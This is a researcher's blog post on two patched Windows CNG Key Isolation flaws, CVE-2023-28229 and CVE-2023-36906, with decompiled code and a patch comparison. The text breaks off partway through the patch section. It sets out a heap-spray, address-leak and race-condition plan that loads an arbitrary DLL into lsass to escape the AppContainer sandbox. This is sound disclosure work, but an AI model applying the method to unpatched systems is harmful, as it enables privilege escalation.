WHEREISK0SHL8a9532508762fa28e8aea4ed5ffb99b82004f340-whereisk0shl.top2023-09-01T11:18:04ZIsolate me from sandbox - Explore elevation of privilege of CNG Key Isolation2023-09-01T11:18:04Zisolate-me-from-sandbox-explore-elevation-of-privilege-of-cng-key-isolationWHEREISK0SHL<h3 id="toc_0" class="h16">Author: k0shl of Cyber Kunlun</h3><h2 id="toc_1" class="h16">Summary</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In recently months, Microsoft patched vulnerabilities I reported in CNG Key Isolation service, assigned CVE-2023-28229 and CVE-2023-36906, the CVE-2023-28229 included 6 use after free vulenrabilities with similar root cause and the CVE-2023-36906 is a out of bound read information disclosure. Microsoft marked them as "Exploitation Less Likely" in assessment status, but actually, I completed the exploitation with these two vulnerabilities.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">As an annual update blogger(sorry for that:P), I share this blogpost to introduce my exploitation on CNG Key Isolation service, so let's start our journey!</span>
</p>
<h2 id="toc_2" class="h16">Simple Overview</h2>
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">CNG Key Isolation is a service under lsass process which provides key process isolation to private keys, the CNG Key Isolation is worked as a RPC server that could be accessed with the Appcontainer Integrity process such as the render process in adobe or firefox. There are some important objects in keyiso service, let's go through them simply as following:</span>
</p>
<ol>
<li class="md_li"><span>Context object. Context object is just like the manage object of keyiso RPC server, it will hold the provider object when the client invoke open storage provider to create a new provider object and it is managed by a global list named SrvCryptContextList. This object must be intialized first.
</span></li>
<li class="md_li"><span>Provider object. Client should open an existed provider in a collection of all of the providers, if the provider open succeed, it will allocate the provider object and store the pointer into the context object.
</span></li>
<li class="md_li"><span>Key object. Key object is managed by context object, it will be allocated and inserted into the context object.
</span></li>
<li class="md_li"><span>Memory Buffer object. Memory Buffer object is managed by context object, it will be allocate and inserted into the context object.
</span></li>
<li class="md_li"><span>Secret object. Secret object is managed by context object, it will be allocate and inserted into the context object.
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In these four objects, provider object/key object/secret object have similar object structure, offset 0x0 of the object stores the magic value, 0x44444446 means provider object, 0x44444447 means key object, 0x44444449 means secret object, when these objects freed, the magic value will be set to another value, offset 0x8 of the object stores the reference count, and offset 0x30 of the object stores the index of the object, this index is just like the handle of the object, it will be a flag when client use it to search the specified object which means the object is predictable, it is begin at 0 and when a new object allocated, it will add 1. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><strong><em>There is additional information to talk about how I win the race with the handle of object</em></strong>, when I review the code, I noticed that the handle could be predictable, let's check the SrvAddKeyToList function:</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="nl">SrvAddKeyToList</span><span class="p">:</span>
<span class="n">handlevalue</span> <span class="o">=</span> <span class="o">++*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">context_object</span> <span class="o">+</span> <span class="mh">0xA0</span><span class="p">);</span> <span class="c1">// =====> [a]</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">key_object</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="n">handlevalue</span><span class="p">;</span> <span class="c1">// =====> [b]</span>
<span class="nl">SrvFreeKey</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">key_object</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span> <span class="o">==</span> <span class="n">handlevalue</span> <span class="p">)</span> <span class="c1">// ====> [c]</span>
<span class="k">break</span><span class="p">;</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The handle value is stored in the offset 0xA0 of context object, and in fact, the handle value is just like a index value, the initilized value is 0, and when a new key object is allocated, the index will add 1 [a] and be set to the offset 0x30 of new key object [b]. When the key object is freed, it will compare the handle value, if it matched [c], it will continue to hit vulnerable code. So the handle value could be predictable, for example, you could call SrvFreeKey with the handle value is 1 when you create the first key, or you could call the SrvFreeKey with the handle value is 10 when you create the No.10 key object, so that the key object could be retrieved in FreeKey function when adding key to context object with the new handle value.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I make the following simple chart to show you the relationship between theses objects.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20230831/1.png" alt="1.PNG" title="" ></span>
</p>
<h2 id="toc_3" class="h16">Root cause of CVE-2023-28229</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In this section, I will introduce the root cause of CVE-2023-28299, I will use the key object as example, actually the rest of objects have similar issue.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When I do researching on keyiso service, I find out that each object has their own allocate and free interface, such as key object, there are the allocate RPC interface named s_SrvRpcCryptCreatePersistedKey and the free RPC interface named s_SrvRpcCryptFreeKey. And I quickly notice that there is an issue between object allocate and free.</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">SrvCryptCreatePersistedKey</span><span class="p">(</span>
<span class="k">struct</span> <span class="n">_RTL_CRITICAL_SECTION</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span>
<span class="kr">__int64</span> <span class="n">a2</span><span class="p">,</span>
<span class="n">_QWORD</span> <span class="o">*</span><span class="n">a3</span><span class="p">,</span>
<span class="kr">__int64</span> <span class="n">a4</span><span class="p">,</span>
<span class="kr">__int64</span> <span class="n">a5</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">a6</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">a7</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="n">keyobject</span> <span class="o">=</span> <span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">NtCurrentPeb</span><span class="p">()</span><span class="o">-></span><span class="n">ProcessHeap</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x38u</span><span class="n">i64</span><span class="p">);</span>
<span class="p">[...]</span>
<span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">keyobject</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">keyobject</span> <span class="o">=</span> <span class="mh">0x44444447</span><span class="p">;</span>
<span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">keyobject</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// ==========> [a]</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">keyobject</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">v12</span><span class="p">;</span>
<span class="n">SrvAddKeyToList</span><span class="p">((</span><span class="kr">__int64</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">keyobject</span><span class="p">);</span> <span class="c1">// =============> [b]</span>
<span class="n">v11</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">a3</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">keyobject</span> <span class="o">+</span> <span class="mi">6</span><span class="p">);</span>
<span class="k">return</span> <span class="n">v11</span><span class="p">;</span>
<span class="p">[...]</span>
<span class="p">}</span>
<span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">SrvCryptFreeKey</span><span class="p">(</span><span class="kr">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="kr">__int64</span> <span class="n">a2</span><span class="p">,</span> <span class="kr">__int64</span> <span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd</span><span class="p">(</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span> <span class="c1">// ============> [c]</span>
<span class="p">{</span>
<span class="n">v17</span> <span class="o">=</span> <span class="n">SrvFreeKey</span><span class="p">((</span><span class="n">PVOID</span><span class="p">)</span><span class="n">freebuffer</span><span class="p">);</span> <span class="c1">// ===============> [d]</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">DebugTraceError</span><span class="p">(</span>
<span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v17</span><span class="p">,</span>
<span class="s">"Status"</span><span class="p">,</span>
<span class="s">"onecore</span><span class="se">\\</span><span class="s">ds</span><span class="se">\\</span><span class="s">security</span><span class="se">\\</span><span class="s">cryptoapi</span><span class="se">\\</span><span class="s">ncrypt</span><span class="se">\\</span><span class="s">iso</span><span class="se">\\</span><span class="s">service</span><span class="se">\\</span><span class="s">srvutils.c"</span><span class="p">,</span>
<span class="mi">700</span><span class="n">i64</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd</span><span class="p">(</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span> <span class="c1">// ===============> [e]</span>
<span class="p">{</span>
<span class="n">v12</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kr">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">))(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x80</span><span class="n">i64</span><span class="p">))(</span> <span class="c1">// ==============> [f]</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x118</span><span class="n">i64</span><span class="p">),</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">5</span><span class="p">));</span>
<span class="n">v13</span> <span class="o">=</span> <span class="n">v12</span><span class="p">;</span>
<span class="p">[...]</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">When the client invoke allocate RPC interface, keyiso will allocate a heap from proccess heap and intialize the structure, it will set the reference count of key object to 1 first [a], then it will add the key object to context object, and add the reference count [b], and when client free the key object, keyiso will check if the reference is 1 [c], if it is, keyiso will free the key object [d], but it still use the key object after free [e], then it will call the function in vftable.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">There aren't lock function when the reference count of key object is initialized to 1 and added, which means there is a time window between the intialization and addition, the key object will be freed [c] [d] after the reference count is set to 1 [a], and it could pass the next check [e] when reference count add 1 [b], finally, it will cause the use after free when the function of vftable called[f]. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I wrote the PoC and figured out that it may be exploitable, but as the code show below, the function of vftable is picked from the pointer stored in offset 0x20 of the keyobject which means even I could control the free buffer, I still need a validate address in the offset 0x20 of the key object. I need a information disclosure.</span>
</p>
<h2 id="toc_4" class="h16">Root Cause of CVE-2023-36906</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Then I try to find out a information disclosure, I go through the RPC interface and find out there is a property structure which is stored in provider object, and the property could be query and set with the RPC interface SPCryptSetProviderProperty and SPCryptGetProviderProperty.</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">SPCryptSetProviderProperty</span><span class="p">(</span><span class="kr">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="k">const</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">a3</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a5</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">wcscmp_0</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="s">L"Use Context"</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v15</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">v8</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v15</span> <span class="p">)</span>
<span class="n">RtlFreeHeap</span><span class="p">(</span><span class="n">NtCurrentPeb</span><span class="p">()</span><span class="o">-></span><span class="n">ProcessHeap</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v15</span><span class="p">);</span>
<span class="n">Heap</span> <span class="o">=</span> <span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">NtCurrentPeb</span><span class="p">()</span><span class="o">-></span><span class="n">ProcessHeap</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v6</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v8</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="o">=</span> <span class="n">Heap</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">Heap</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v10</span> <span class="o">=</span> <span class="mi">1450</span><span class="n">i64</span><span class="p">;</span>
<span class="nl">LABEL_21</span><span class="p">:</span>
<span class="n">v9</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2146893810</span><span class="p">;</span>
<span class="n">v11</span> <span class="o">=</span> <span class="mi">2148073486</span><span class="n">i64</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">LABEL_42</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v17</span> <span class="o">=</span> <span class="n">Heap</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">LABEL_40</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">memcpy_0</span><span class="p">(</span><span class="n">v17</span><span class="p">,</span> <span class="n">a3</span><span class="p">,</span> <span class="n">v6</span><span class="p">);</span> <span class="c1">// ============> [b]</span>
<span class="p">}</span>
<span class="p">[...]</span>
<span class="p">}</span>
<span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="n">SPCryptGetProviderProperty</span><span class="p">(</span>
<span class="kr">__int64</span> <span class="n">a1</span><span class="p">,</span>
<span class="k">const</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span>
<span class="n">_DWORD</span> <span class="o">*</span><span class="n">a3</span><span class="p">,</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">,</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">a5</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">a6</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">[...]</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">wcscmp_0</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="s">L"Use Context"</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v17</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v10</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>
<span class="n">v15</span> <span class="o">=</span> <span class="mi">21</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v17</span> <span class="p">)</span>
<span class="k">goto</span> <span class="n">LABEL_31</span><span class="p">;</span>
<span class="k">do</span>
<span class="o">++</span><span class="n">v13</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v17</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v13</span><span class="p">)</span> <span class="p">);</span> <span class="c1">// =============> [c]</span>
<span class="n">v16</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v13</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="mi">2</span> <span class="o">*</span> <span class="p">(</span><span class="n">_DWORD</span><span class="p">)</span><span class="n">v13</span> <span class="o">==</span> <span class="o">-</span><span class="mi">2</span> <span class="p">)</span>
<span class="p">{</span>
<span class="nl">LABEL_31</span><span class="p">:</span>
<span class="n">v11</span> <span class="o">=</span> <span class="mi">517</span><span class="n">i64</span><span class="p">;</span>
<span class="nl">LABEL_32</span><span class="p">:</span>
<span class="n">v9</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2146893807</span><span class="p">;</span>
<span class="n">v12</span> <span class="o">=</span> <span class="mi">2148073489</span><span class="n">i64</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">LABEL_57</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v25</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="k">const</span> <span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">v10</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>
<span class="n">memcpy_0</span><span class="p">(</span><span class="n">a3</span><span class="p">,</span> <span class="n">v25</span><span class="p">,</span> <span class="n">v16</span><span class="p">);</span> <span class="c1">// ============> [d]</span>
<span class="p">}</span>
<span class="p">[...]</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The client could specific which property to set, if the property named "Use Context", it will allocate a new buffer with the size which could be controlled by client, and store the "Use Context" buffer into the provider object, but when I review the query code, I notice that the "Use Context" should be a string type, it will go through the buffer in a while loop and break when it meets the null charactor [c], then return the whole buffer to client.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">There will be a out of bound read when I set the "Use Context" property with a non-zero content in buffer, and actually, this property is a good object for exploitation because the size and content of the buffer could be controlled by client.</span>
</p>
<h2 id="toc_5" class="h16">Exploitation stage</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Now, I have a out of bound read which could leak the content of adjacent object and a use after free elevation privilege could call arbitrary address if I could control the free buffer. I think it's time for me to chain the vulnerability.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I look back to the free buffer to find out what I need first:</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="n">v12</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kr">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">))(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x80</span><span class="n">i64</span><span class="p">))(</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x118</span><span class="n">i64</span><span class="p">),</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">5</span><span class="p">));</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">If I could control the freebuffer, and I have a useful address, I could set this address to the offset 0x20 of freebuffer, and there are two important address in the validate address, the offset 0x80 of the address should be a validate function address, and the offset 0x118 should be another buffer. </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The lsass process enable the XFG mitigation, so I couldn't use ROP in this exploitation, but if I could control the first parameter of the function, I could use LoadLibraryW to load a controlled dll path, so the target is set offset 0x80 of validate address to LoadlibraryW address and set the payload dll to the address which stored in offset 0x118 of the address.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">As I introduce in the previous section, the property "Use Context" is a good primitive object because I could control the size and whole content of this property, and I have a out of bound read issue, so the question is what object should be adjacent to my property object?</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I review all objects of keyiso, and find out the memory buffer may be a useful target.</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span> <span class="n">v7</span> <span class="o">=</span> <span class="n">SrvLookupAndReferenceProvider</span><span class="p">(</span><span class="n">hContext</span><span class="p">,</span> <span class="n">hProvider</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">[...]</span>
<span class="n">_InterlockedIncrement</span><span class="p">((</span><span class="k">volatile</span> <span class="kt">signed</span> <span class="kr">__int32</span> <span class="o">*</span><span class="p">)(</span><span class="n">v7</span> <span class="o">+</span> <span class="mi">8</span><span class="p">));</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">Heap</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// ===========> [a]</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">Heap</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="n">v32</span><span class="p">;</span>
<span class="n">SrvAddMemoryBufferToList</span><span class="p">((</span><span class="kr">__int64</span><span class="p">)</span><span class="n">hContext</span><span class="p">,</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">Heap</span><span class="p">);</span>
<span class="n">v26</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">Heap</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="n">Heap</span> <span class="o">=</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
<span class="o">*</span><span class="n">v15</span> <span class="o">=</span> <span class="n">v26</span><span class="p">;</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">When the memory buffer created, keyiso will look up the provider object and store the provider object in the offset 0x0 of the memory buffer[a], so if I fill up property object with non-zero value and when I query the property object, it will leak the provider object address.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">And of course, different objects have different size, I don't need to worry about the different object influence the layout when I do heap fengshui.</span>
</p>
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">Finally, I figure out the exploitation scenario as following:</span>
</p>
<ol>
<li class="md_li"><span>Spray the provider object and memory buffer object. Provider object is for the finaly stage of explointation, and memory buffer is for leak the provider object.
</span></li>
</ol>
<p class="md_block md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20230831/2.png" alt="2.PNG" title="" ></span>
</p>
<ol>
<li class="md_li"><span>Free some memory buffer objects to make a heap hole, then allocate property with the same size of memory buffer object, it will occupy one of the freed holes, and then query the property to get the provider object address.
</span></li>
</ol>
<p class="md_block md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20230831/3.png" alt="3.PNG" title="" ></span>
</p>
<ol>
<li class="md_li"><span>Free enough provider objects to make sure the leaked provider object is freed, and spray the properties with the same size of provider object to occupy the leaked provider object address. The LoadlibraryW address and payload dll should be stored in the offset 0x80 and offset 0x118 in the fake provider object. But I only have one leaked address, I could set the payload dll path in another offset in property buffer, and set the address in the offset 0x118 of property buffer.
</span></li>
</ol>
<p class="md_block md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20230831/4.png" alt="4.PNG" title="" ></span>
</p>
<ol>
<li class="md_li"><span>Finally, I could trigger use after free with mutiple three diffrent threads, Thread A is for allocating the key object, Thread B is for releasing the key object, Thread C is for allocating the property object with the same size of key object, and set the fake reference count and leaked property address in offset 0x20 of property buffer.
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20230831/5.png" alt="5.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When client win the race which means the property object occupy the key object hole after key object freed at SrvFreeKey function, it will finally load arbitrary dll in lsass process which finally cause appcontainer sandbox escape.</span>
</p>
<h2 id="toc_6" class="h16">Patch</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Microsoft patch with adding the lock functions between the key object intialized and freed.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Before:</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="p">[...]</span>
<span class="n">RtlLeaveCriticalSection</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd</span><span class="p">(</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v17</span> <span class="o">=</span> <span class="n">SrvFreeKey</span><span class="p">((</span><span class="n">PVOID</span><span class="p">)</span><span class="n">freebuffer</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">DebugTraceError</span><span class="p">(</span>
<span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v17</span><span class="p">,</span>
<span class="s">"Status"</span><span class="p">,</span>
<span class="s">"onecore</span><span class="se">\\</span><span class="s">ds</span><span class="se">\\</span><span class="s">security</span><span class="se">\\</span><span class="s">cryptoapi</span><span class="se">\\</span><span class="s">ncrypt</span><span class="se">\\</span><span class="s">iso</span><span class="se">\\</span><span class="s">service</span><span class="se">\\</span><span class="s">srvutils.c"</span><span class="p">,</span>
<span class="mi">700</span><span class="n">i64</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">_InterlockedExchangeAdd</span><span class="p">(</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v12</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kr">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">))(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x80</span><span class="n">i64</span><span class="p">))(</span>
<span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x118</span><span class="n">i64</span><span class="p">),</span>
<span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">freebuffer</span> <span class="o">+</span> <span class="mi">5</span><span class="p">));</span>
<span class="p">[...]</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">After:</span>
</p>
<div class="codehilite code_lang_c++ highlight"><pre><span></span><span class="p">[...]</span>
<span class="n">RtlEnterCriticalSection</span><span class="p">(</span><span class="n">v8</span><span class="p">);</span>
